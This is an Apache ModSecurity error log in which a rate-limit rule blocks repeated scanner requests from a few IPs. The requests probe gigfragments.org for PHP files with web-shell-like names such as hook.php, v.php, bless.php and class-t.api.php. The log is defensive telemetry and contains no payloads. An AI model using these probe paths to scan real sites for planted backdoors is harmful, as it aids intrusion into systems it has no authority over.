[Mon Apr 06 18:45:17.408864 2026] [:error] [pid 35786:tid 35816] [client 172.213.138.9:46593] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "adOOvWgkfCKTaLhwaKQRXgAAANc"]
[Mon Apr 06 18:45:18.128449 2026] [:error] [pid 9442:tid 9465] [client 172.213.138.9:32449] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hook.php"] [unique_id "adOOvkPsNnAJTnmz6saBGQAAARU"]
[Mon Apr 06 18:45:18.432986 2026] [:error] [pid 38562:tid 38568] [client 51.103.121.89:38929] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "adOOvqeD6Ohe6wzRuy5mVgAAAUM"]
[Mon Apr 06 18:45:19.045426 2026] [:error] [pid 9413:tid 9422] [client 172.213.138.9:42681] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "adOOv3llvEK3chn01wG2qgAAAYc"]
[Mon Apr 06 18:45:19.444513 2026] [:error] [pid 35688:tid 35771] [client 51.103.121.89:42178] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "adOOv-Z85qg4jLsRpQxt_QAAAJU"]
[Mon Apr 06 18:45:20.334342 2026] [:error] [pid 35688:tid 35771] [client 172.213.138.9:42420] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "adOOwOZ85qg4jLsRpQxuAQAAAJU"]
[Mon Apr 06 18:45:22.385622 2026] [:error] [pid 10280:tid 10296] [client 172.213.138.9:47095] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "adOOwl8QUJkf8g-BFfPKtAAAAc0"]
[Mon Apr 06 18:45:23.408000 2026] [:error] [pid 9413:tid 9431] [client 172.213.138.9:47052] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "adOOw3llvEK3chn01wG2sAAAAZA"]
[Mon Apr 06 18:45:24.339687 2026] [:error] [pid 9413:tid 9432] [client 172.213.138.9:47617] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "adOOxHllvEK3chn01wG2tAAAAZE"]
[Mon Apr 06 18:45:25.286120 2026] [:error] [pid 38562:tid 38565] [client 172.213.138.9:47640] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "adOOxaeD6Ohe6wzRuy5mZQAAAUA"]
[Mon Apr 06 18:45:26.167670 2026] [:error] [pid 1827:tid 1837] [client 172.213.138.9:36390] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "adOOxuVeb6S_DnjZ2xH3eQAAAgg"]
[Mon Apr 06 18:45:29.866893 2026] [:error] [pid 9442:tid 9454] [client 172.213.138.9:47623] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jp.php"] [unique_id "adOOyUPsNnAJTnmz6saBLQAAAQo"]
[Mon Apr 06 18:45:30.597144 2026] [:error] [pid 10280:tid 10306] [client 172.213.138.9:54715] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "adOOyl8QUJkf8g-BFfPKvgAAAdc"]
[Mon Apr 06 18:45:31.171869 2026] [:error] [pid 10280:tid 10287] [client 172.213.138.9:42387] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "adOOy18QUJkf8g-BFfPKwQAAAcQ"]
[Mon Apr 06 18:45:31.767474 2026] [:error] [pid 35686:tid 35716] [client 172.213.138.9:33490] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "adOOy8MKdea6oORd2fzDPgAAABQ"]
[Mon Apr 06 18:45:32.548045 2026] [:error] [pid 38562:tid 38580] [client 51.120.80.210:43158] [client 51.120.80.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "adOOzKeD6Ohe6wzRuy5mbwAAAU8"]
[Mon Apr 06 18:45:32.568309 2026] [:error] [pid 38562:tid 38585] [client 172.213.138.9:47645] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "adOOzKeD6Ohe6wzRuy5mcAAAAVQ"]
[Mon Apr 06 18:45:33.378347 2026] [:error] [pid 38562:tid 38565] [client 172.213.138.9:48278] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "adOOzaeD6Ohe6wzRuy5mdQAAAUA"]
[Mon Apr 06 18:45:34.776895 2026] [:error] [pid 10280:tid 10305] [client 172.213.138.9:33857] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "adOOzl8QUJkf8g-BFfPKzQAAAdY"]
[Mon Apr 06 18:45:35.996525 2026] [:error] [pid 35688:tid 35761] [client 172.213.138.9:47706] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "adOOz-Z85qg4jLsRpQxuFgAAAIs"]
[Mon Apr 06 18:45:37.170858 2026] [:error] [pid 9442:tid 9459] [client 172.213.138.9:33503] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "adOO0UPsNnAJTnmz6saBQgAAAQ8"]
[Mon Apr 06 18:45:38.736389 2026] [:error] [pid 9442:tid 9462] [client 172.213.138.9:33530] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adOO0kPsNnAJTnmz6saBSQAAARI"]
[Mon Apr 06 18:45:39.764891 2026] [:error] [pid 35688:tid 35763] [client 172.213.138.9:45531] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adOO0-Z85qg4jLsRpQxuGwAAAI0"]
[Mon Apr 06 18:45:40.640912 2026] [:error] [pid 35688:tid 35755] [client 172.213.138.9:36387] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adOO1OZ85qg4jLsRpQxuHwAAAIU"]
[Mon Apr 06 18:45:41.214353 2026] [:error] [pid 35786:tid 35812] [client 51.103.121.89:44983] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "adOO1WgkfCKTaLhwaKQRcgAAANM"]
[Mon Apr 06 18:45:41.854677 2026] [:error] [pid 35786:tid 35800] [client 51.103.121.89:39835] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "adOO1WgkfCKTaLhwaKQRcwAAAMc"]
[Mon Apr 06 18:45:42.490527 2026] [:error] [pid 9442:tid 9455] [client 51.103.121.89:39859] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "adOO1kPsNnAJTnmz6saBSwAAAQs"]
[Mon Apr 06 18:45:43.355764 2026] [:error] [pid 35687:tid 35748] [client 51.103.121.89:34015] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v.php"] [unique_id "adOO153LtDozV0i8BitaRAAAAFg"]
[Mon Apr 06 18:45:43.670552 2026] [:error] [pid 35687:tid 35730] [client 172.213.138.9:33510] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adOO153LtDozV0i8BitaRQAAAEc"]
[Mon Apr 06 18:45:44.651196 2026] [:error] [pid 9442:tid 9454] [client 51.103.121.89:33971] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "adOO2EPsNnAJTnmz6saBTwAAAQo"]
[Mon Apr 06 18:45:45.318562 2026] [:error] [pid 1827:tid 1847] [client 51.103.121.89:54321] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "adOO2eVeb6S_DnjZ2xH3iwAAAhI"]
[Mon Apr 06 18:45:46.236065 2026] [:error] [pid 9442:tid 9455] [client 172.213.138.9:41744] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adOO2kPsNnAJTnmz6saBWgAAAQs"]
[Mon Apr 06 18:45:46.467427 2026] [:error] [pid 35688:tid 35763] [client 51.103.121.89:44960] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "adOO2uZ85qg4jLsRpQxuLQAAAI0"]
[Mon Apr 06 18:45:47.314658 2026] [:error] [pid 35688:tid 35773] [client 172.213.138.9:47742] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adOO2-Z85qg4jLsRpQxuMAAAAJc"]
[Mon Apr 06 18:45:47.374131 2026] [:error] [pid 35688:tid 35755] [client 51.103.121.89:34009] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/te.php"] [unique_id "adOO2-Z85qg4jLsRpQxuMgAAAIU"]
[Mon Apr 06 18:45:48.051994 2026] [:error] [pid 35688:tid 35755] [client 51.103.121.89:54377] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adOO3OZ85qg4jLsRpQxuNQAAAIU"]
[Mon Apr 06 18:45:48.729855 2026] [:error] [pid 10280:tid 10301] [client 51.103.121.89:39035] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adOO3F8QUJkf8g-BFfPK7QAAAdI"]
[Mon Apr 06 18:45:49.819536 2026] [:error] [pid 10280:tid 10288] [client 51.103.121.89:44031] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adOO3V8QUJkf8g-BFfPK9QAAAcU"]
[Mon Apr 06 18:45:50.347085 2026] [:error] [pid 9442:tid 9446] [client 172.213.138.9:54853] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adOO3kPsNnAJTnmz6saBZQAAAQI"]
[Mon Apr 06 18:45:50.702245 2026] [:error] [pid 35688:tid 35755] [client 51.103.121.89:6067] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "adOO3uZ85qg4jLsRpQxuNwAAAIU"]
[Mon Apr 06 18:45:51.650676 2026] [:error] [pid 35686:tid 35710] [client 172.213.138.9:50335] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adOO38MKdea6oORd2fzDTQAAAA4"]
[Mon Apr 06 18:45:51.949788 2026] [:error] [pid 9442:tid 9449] [client 51.103.121.89:52875] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adOO30PsNnAJTnmz6saBcAAAAQU"]
[Mon Apr 06 18:45:52.861532 2026] [:error] [pid 35688:tid 35755] [client 51.103.121.89:54307] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adOO4OZ85qg4jLsRpQxuOgAAAIU"]
[Mon Apr 06 18:45:54.026571 2026] [:error] [pid 35688:tid 35755] [client 51.103.121.89:37703] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adOO4uZ85qg4jLsRpQxuPQAAAIU"]
[Mon Apr 06 18:45:55.117246 2026] [:error] [pid 35686:tid 35714] [client 51.103.121.89:34006] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/12.php"] [unique_id "adOO48MKdea6oORd2fzDTwAAABI"]
[Mon Apr 06 18:45:55.574167 2026] [:error] [pid 38562:tid 38566] [client 172.213.138.9:33796] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adOO46eD6Ohe6wzRuy5miwAAAUE"]
[Mon Apr 06 18:45:56.387936 2026] [:error] [pid 38562:tid 38587] [client 51.103.121.89:37700] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adOO5KeD6Ohe6wzRuy5mjAAAAVY"]
[Mon Apr 06 18:45:57.957992 2026] [:error] [pid 9442:tid 9449] [client 172.213.138.9:47724] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adOO5UPsNnAJTnmz6saBigAAAQU"]
[Mon Apr 06 18:45:58.675658 2026] [:error] [pid 9442:tid 9468] [client 51.103.121.89:52903] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adOO5kPsNnAJTnmz6saBjAAAARg"]
[Mon Apr 06 18:46:00.251939 2026] [:error] [pid 9442:tid 9445] [client 51.103.121.89:34035] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adOO6EPsNnAJTnmz6saBkwAAAQE"]
[Mon Apr 06 18:46:00.396755 2026] [:error] [pid 10280:tid 10293] [client 172.213.138.9:33844] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adOO6F8QUJkf8g-BFfPK_gAAAco"]
[Mon Apr 06 18:46:01.957309 2026] [:error] [pid 1827:tid 1838] [client 51.103.121.89:40794] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adOO6eVeb6S_DnjZ2xH3lAAAAgk"]
[Mon Apr 06 18:46:02.272562 2026] [:error] [pid 1827:tid 1852] [client 172.213.138.9:54850] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "adOO6uVeb6S_DnjZ2xH3lQAAAhc"]
[Mon Apr 06 18:46:03.329110 2026] [:error] [pid 9413:tid 9428] [client 172.213.138.9:39840] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adOO63llvEK3chn01wG2wgAAAY0"]
[Mon Apr 06 18:46:03.527720 2026] [:error] [pid 9413:tid 9420] [client 51.103.121.89:54303] [client 51.103.121.89] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adOO63llvEK3chn01wG2xAAAAYU"]
[Mon Apr 06 18:46:04.285299 2026] [:error] [pid 35688:tid 35765] [client 172.213.138.9:41776] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adOO7OZ85qg4jLsRpQxuVAAAAI8"]
[Mon Apr 06 18:46:05.063733 2026] [:error] [pid 35688:tid 35757] [client 172.213.138.9:54858] [client 172.213.138.9] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bolt.php"] [unique_id "adOO7eZ85qg4jLsRpQxuVgAAAIc"]
